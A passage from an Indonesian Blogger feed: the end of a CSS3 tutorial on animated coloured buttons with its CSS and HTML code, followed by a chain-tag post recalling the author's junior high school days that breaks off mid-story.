!important;background-color:#a9adb1;background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient(center bottom,circle,rgba(197,199,202,1) 0,rgba(197,199,202,0) 100px),-moz-linear-gradient(#c5c7ca,#92989c);background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient(radial,50% 100%,0,50% 100%,100,from(rgba(197,199,202,1)),to(rgba(197,199,202,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#c5c7ca),to(#92989c))}.gray.button:hover{background-color:#b6bbc0;background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient(center bottom,circle,rgba(202,205,208,1) 0,rgba(202,205,208,0) 100px),-moz-linear-gradient(#d1d3d6,#9fa5a9);background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient(radial,50% 100%,0,50% 100%,100,from(rgba(202,205,208,1)),to(rgba(202,205,208,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#d1d3d6),to(#9fa5a9))}</style><br /><span style=";margin:10px 10px;" class="button gray">Gray</span><span style="margin:10px 10px;" class="button blue">Blue</span><span style="margin:10px 10px;" class="button green">Green</span><span style="margin:10px 10px;" class="button orange">Orange</span><br />Hanya dengan Css3 Bubble Button Animation ini tercipta!<br />Langsung saja, bagaimana cara membuat Tombol Seperti itu? Langsung simak saja caranya dibawah ini <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/1.gif" alt="happy" /><br /><ol><li><b style="font-style: italic; ">CSS Bubble Button Css3 Animation</b><br /><blockquote><div style="overflow:auto; width:ancho; height:200px;">.button{<br />font:<b>30px</b> Calibri, Arial, sans-serif;<br />text-shadow:1px 1px 0 rgba(255,255,255,0.4);<br />text-decoration:none !important;<br />white-space:nowrap;<br />display:inline-block;<br />vertical-align:baseline;<br />position:relative;<br />cursor:pointer;<br />padding:10px 20px;<br />background-repeat:no-repeat;<br />background-position:bottom left;<br />background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png');<br />background-position:bottom left, top right, 0 0, 0 0;<br />background-clip:border-box;<br />-moz-border-radius:8px;<br />-webkit-border-radius:8px;<br />border-radius:8px;<br />-moz-box-shadow:0 0 1px #fff inset;<br />-webkit-box-shadow:0 0 1px #fff inset;<br />box-shadow:0 0 1px #fff inset;<br />-webkit-transition:background-position 1s;<br />-moz-transition:background-position 1s;<br />transition:background-position 1s;<br />}<br />.button:hover{<br />background-position:top left;<br />background-position:top left, bottom right, 0 0, 0 0;<br />}<br />.button:active{<br />bottom:-1px;<br />}<br />.blue.button{<br />color:#0f4b6d !important;<br />border:1px solid #84acc3 !important;<br />background-color: #48b5f2;<br />background-image: url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),<br />-moz-radial-gradient( center bottom, circle,<br />rgba(89,208,244,1) 0,rgba(89,208,244,0) 100px),<br />-moz-linear-gradient(#4fbbf7, #3faeeb);<br />background-image: url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),<br />-webkit-gradient( radial, 50% 100%, 0, 50% 100%, 100,<br />from(rgba(89,208,244,1)), to(rgba(89,208,244,0))),<br />-webkit-gradient(linear, 0% 0%, 0% 100%, from(#4fbbf7), to(#3faeeb));<br />}<br />.blue.button:hover{<br />background-color:#63c7fe;<br />background-image: url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),<br />-moz-radial-gradient( center bottom, circle,<br />rgba(109,217,250,1) 0,rgba(109,217,250,0) 100px),<br />-moz-linear-gradient(#63c7fe, #58bef7);<br />background-image: url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),<br />-webkit-gradient( radial, 50% 100%, 0, 50% 100%, 100,<br />from(rgba(109,217,250,1)), to(rgba(109,217,250,0))),<br />-webkit-gradient(linear, 0% 0%, 0% 100%, from(#63c7fe), to(#58bef7));<br />}<br />.green.button{<br />color:#345903 !important;<br />border:1px solid #96a37b !important;<br />background-color: #79be1e;<br />background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), -moz-radial-gradient(center bottom, circle, rgba(162,211,30,1) 0,rgba(162,211,30,0) 100px),-moz-linear-gradient(#82cc27, #74b317);<br />background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), -webkit-gradient(radial, 50% 100%, 0, 50% 100%, 100, from(rgba(162,211,30,1)), to(rgba(162,211,30,0))),-webkit-gradient(linear, 0% 0%, 0% 100%, from(#82cc27), to(#74b317));<br />}<br />.green.button:hover{<br />background-color:#89d228;<br />background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), -moz-radial-gradient(center bottom, circle, rgba(183,229,45,1) 0,rgba(183,229,45,0) 100px),-moz-linear-gradient(#90de31, #7fc01e);<br />background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), -webkit-gradient(radial, 50% 100%, 0, 50% 100%, 100, from(rgba(183,229,45,1)), to(rgba(183,229,45,0))),-webkit-gradient(linear, 0% 0%, 0% 100%, from(#90de31), to(#7fc01e));<br />}<br />.orange.button{<br />color:#693e0a !important;<br />border:1px solid #bea280 !important;<br />background-color: #e38d27;<br />background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), -moz-radial-gradient(center bottom, circle, rgba(232,189,45,1) 0,rgba(232,189,45,0) 100px),-moz-linear-gradient(#f1982f, #d4821f);<br />background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), -webkit-gradient(radial, 50% 100%, 0, 50% 100%, 100, from(rgba(232,189,45,1)), to(rgba(232,189,45,0))),-webkit-gradient(linear, 0% 0%, 0% 100%, from(#f1982f), to(#d4821f));<br />}<br />.orange.button:hover{<br />background-color:#ec9732;<br />background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), -moz-radial-gradient(center bottom, circle, rgba(241,192,52,1) 0,rgba(241,192,52,0) 100px),-moz-linear-gradient(#f9a746, #e18f2b);<br />background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), -webkit-gradient(radial, 50% 100%, 0, 50% 100%, 100, from(rgba(241,192,52,1)), to(rgba(241,192,52,0))),-webkit-gradient(linear, 0% 0%, 0% 100%, from(#f9a746), to(#e18f2b));<br />}<br />.gray.button{<br />color:#525252 !important;<br />border:1px solid #a5a5a5 !important;<br />background-color: #a9adb1;<br />background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), -moz-radial-gradient(center bottom, circle, rgba(197,199,202,1) 0,rgba(197,199,202,0) 100px),-moz-linear-gradient(#c5c7ca, #92989c);<br />background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), -webkit-gradient(radial, 50% 100%, 0, 50% 100%, 100, from(rgba(197,199,202,1)), to(rgba(197,199,202,0))),-webkit-gradient(linear, 0% 0%, 0% 100%, from(#c5c7ca), to(#92989c));<br />}<br />.gray.button:hover{<br />background-color:#b6bbc0;<br />background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), -moz-radial-gradient(center bottom, circle, rgba(202,205,208,1) 0,rgba(202,205,208,0) 100px),-moz-linear-gradient(#d1d3d6, #9fa5a9);<br />background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'), -webkit-gradient(radial, 50% 100%, 0, 50% 100%, 100, from(rgba(202,205,208,1)), to(rgba(202,205,208,0))),-webkit-gradient(linear, 0% 0%, 0% 100%, from(#d1d3d6), to(#9fa5a9));<br />}</div></blockquote></li><li><b style="font-style: italic; ">HTML Bubble Button Css3 Animation</b><br /><blockquote><a href="link" class="button <span class="Apple-style-span"><b><i>gray</i></b></span>"><u>Button Text</u></a></blockquote>Terdapat kode <span class="Apple-style-span">merah</span> yang berarti <b>class</b> yang wajib di cantumkan. Dapat di ganti dengan kode <b><span class="Apple-style-span">orange</span></b>, <b><span class="Apple-style-span">green</span></b>, dan <b><span class="Apple-style-span">blue!<br /></span></b></li><li><b><i>Cara!</i></b></li>Css identik dengan style blog atau website. Untuk Css letakin kode Css di antara kode <b><style></b> dengan kode <b></style></b> atau <b><b:skin></b> dengan kode <b></b:skin></b><br /><br />Kode HTML bisa diletakan dimanapun selama masih di area <span style="font-weight:bold;"><html></span> dan <span style="font-weight:bold;"></html></span>;</ol>Selesai sudah tugas saya pada postingan saya kali iniFrzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com151tag:blogger.com,1999:blog-6541701603000981262.post-53232344444523176492011-11-26T17:18:00.000-08:002011-11-28T04:01:52.032-08:00Kena Tag - Tulisan Berantai<style>.post-body img{border:none;-moz-box-shadow: 0px 0px 0px #fff;-webkit-box-shadow: 0px 0px 0px #fff;box-shadow:inset 0 0 0px #fff, 0px 0px 0px #fff;background:none;padding:0;</style>Ini sungguh luar binasa karena baru pertama kalinya seorang blogger (saya) yang terfokus dengan memberikan sebuah <b>Tutorial</b> atau <b>pengalaman tentang blogger</b> dan lain lain, tetapi kali ini saya malah bercerita tentang <b>Kenangan SMP</b>. Sungguh luar binasa bukan? <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" /> yaaa inget inget <i>refreshing</i> lah dari hal hal yang menjenuhkan <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" /><br /><br /><span class="Apple-tab-span" style="white-space:pre"> </span>Syukur Alhamdulilah sebenarnya ane kecipratan PR atau <s>Pagerank Google</s> Pekerjaan Rumah dari Sahabat/Guru <a href="http://nurmayantizain.blogspot.com/">Nurmayanti Zain</a> yang merupakan perhatian kepada blogku tercinta ini haha <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" /> Kalau gak <a href="http://nurmayantizain.blogspot.com/2011/11/tulisan-berantai-pr-smp.html">kecipratan</a> gitu saya dengan jujurnya saya tidak akan membuka aib saya disini huahaha <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/35.gif" /><br /><br /><span class="Apple-tab-span" style="white-space:pre"> </span>Ba<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzHKmdAByjXMWivjuEJxlgq5ySwXTTbqpQS93DTtx3URBQdDwIysqchv8eLDp1B_9WsFhqgilBycVScax8vlEOOUeMZ6Q60XbIeXG7THI0KaXAJRjB-oCxRncH7mNz6f-bLJy-WCkp5Zw/s400/tut-wuri-handayani.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5679492093997998962" style="float: left; margin-top: 0px; margin-right: 10px; margin-bottom: 10px; margin-left: 0px; cursor: pointer; width: 100px; height: 100px; " />nyak hal hal manis dan tentunya banyak juga hal hal pahit selama saya bersekolah di tingkat Sekolah Menengah Pertama ini (SMP). Mungkin sesuatu banget jika cerita saya, saya sebarkan melalui media internet ini disini <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" /><div>huahahaha. Oh iya SMPnya belum pada tau ya dimana? Saya bersekolah di Sekolah Menengah Pertama (SMP) di <b>SMPN 177</b> Jakarta Selatan. Meskipun sekolah itu cukup terkenal dengan kepintarannya, tetapi disitu juga ada murid murid yang <b>NEM</b> (Nilai Ebtanas Murni) tinggi tetapi berperilakuan seolah olah <b>NEM</b> terendah <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" /> huahaha.</div><br /><span style="text-shadow:1px 0px 0px #eee,-1px 0px 0px #fff,0 1px 0 #eee,0 -1px 0 #eee,1px 1px 2px #000;font-size:16px;">Lima Kenangan Berharga di Masa Sekolah Menengah Pertama</span><br /><ol><li><b><i><span class="Apple-style-span">Ketemu Anak Cengeng</span></i></b></li><span class="Apple-tab-span" style="white-space:pre"> </span>Saat itu saya masih duduk di bangku <b>Sekolah Menengah Pertama</b> pastinya<b> kelas 7</b>. Pertama kali masuk ke kelas itu ada hawa-hawa yang tidak mengenakan <b>layaknya</b> murid baru masuk ke sebuah sekolah dengan tatapan sinis dari orang orang <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/42.gif" />. Setelah berbulan berminggu-minggu keadaan itu mulai terbiasa dengan persahabatan tak ternilai. Suatu hari ku kenal dengan seseorang bertubuh kecil, berkulit putih, wajah kekanak-kanakan, ditandai dengan <b>Tompel</b> hitam di pipi yang bernama <b>Teguh Iman Permana</b>. Orangnya <i>baik</i>, <i>friendly</i>, dan Sifat yang paling menyenangkan untuk seseorang yang Usil seperti <s>saya</s> teman saya yaitu <b><i>cengeng <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif" /></i></b>. Suatu hari dimana ke-<b>usilan</b> temanku itu berjalan, "<i>eh eh isengin teguh yuk</i>" "<i>ayuk ayuk ayuk!</i>" pada waktu itu aku dan teman temanku belum mengetahui sifat <b>cengeng</b>nya itu. Temanku <b>Agung</b> mengambil ember kecil yang masih baru itu dan mengambil ancang-ancang. "<i>pssttt eh ntar dari blakang lu semua ikutin gua ya? <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/19.gif" /></i>" yaudah beberapa murid ikutin Agung dari belakang. Rupanya ember itu di gunakannya untuk di masukan kekepalanya <b>Teguh</b>, <b>Teguh</b> yang tadinya diam lagi mengerjakan Tugas langsung memberontak melepaskan ember yang tertahan oleh tangan Rama itu. "<i>eh bantuin!</i>" kata Agung. Yaudah tuh banyak murid membantu menahan da goyang goyangin embernya kurang lebih 5-7 detik. Pas di buka "<i>dah dah dah... cari yang lain</i>" kata Agung. Tak di sangka sangka ada beberapa murid bilang "<i>guh, lu kenapa guh?</i>", "<i>ehh parah lu gung <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/21.gif" /> nangis beneran lu gung</i>" air mata Teguh keluar dari Tempatnya. Agung minta maaf pada saat itu sambil sekelas bersorak "<i>hayo Agung... hayo Agung... hayo Agung</i>" hahahhaa.<br /><br /><span class="Apple-tab-span" style="white-space:pre"> </span>Keesokan harinya semenjak temen temenku pada tau kalau Teguh Cengeng, temen temenku pada jahilin dia<br />Temen<span class="Apple-tab-span" style="white-space:pre"> </span>: "Guh, lagi ngapain guh? <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" />"<br /><b>Teguh</b><span class="Apple-tab-span" style="white-space:pre"> </span>: "Apaan si!" di selak pembicaraannya<br />Temen<span class="Apple-tab-span" style="white-space:pre"> </span>: "Guh jangan nagis guh <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/17.gif" />"<br /><b>Teguh</b><span class="Apple-tab-span" style="white-space:pre"> </span>: "Siapa yang nangis?"<br />Temen<span class="Apple-tab-span" style="white-space:pre"> </span>: "Tuh air mata lu mau keluar <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/40.gif" />" padahal belum nangis<br /><b>Teguh</b><span class="Apple-tab-span" style="white-space:pre"> </span>: "Apaan si, apaan si"<br />Temen<span class="Apple-tab-span" style="white-space:pre"> </span>: "Dah dah jangan di gituin, ntar nangis ego <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/9.gif" />" diskusi<br /><b>Teguh</b><span class="Apple-tab-span" style="white-space:pre"> </span>: (sudah mulai cemas mukanya)<br />Temen<span class="Apple-tab-span" style="white-space:pre"> </span>: "Udah udah, eh awan mendung ya? <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif" />"<br /><b>Teguh</b><span class="Apple-tab-span" style="white-space:pre"> </span>: "........" (matanya berkedip tambah cepat)<br />Temen<span class="Apple-tab-span" style="white-space:pre"> </span>: "Dah dah ett parah lu (saling menyalahkan hahahah)<br />Teguh<span class="Apple-tab-span" style="white-space:pre"> </span>: "<img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/17.gif" /> <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/20.gif" />" lama lama mengeluarkan air mata<br />Teman<span class="Apple-tab-span" style="white-space:pre"> </span>: "Guh guh sorry ya guh sorry ya <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/2.gif" />"<br /><br /><span class="Apple-tab-span" style="white-space:pre"> </span>Pada saat kenaikan kelas dari kelas 7 ke kelas 8 bukannya nangis bahagia tetapi malah di tangisin Agung lagi <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif" />. Sejujurnya saya kasihan ama Teguh tetapi mau diapakan lagi, wong semua murid cak cakin dia. Sungguh masa masa yang tidak bisa kulupakan.<br /><br /><li><b><i>Main Kuda Tomprok</i></b></li><span class="Apple-tab-span" style="white-space:pre"> </span>Saat duduk di bangku kelas 8 Saya bertemu teman teman baru dan tentunya tidak melupakan teman lama lah <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" /> Saya diajak main dalam permainan <b>Kuda Tomprok</b>. Belum pernah dengar apa itu <b>Kuda Tomprok</b>? Sepertinya sulit untuk di artikan di tulis secara langsung. Saya 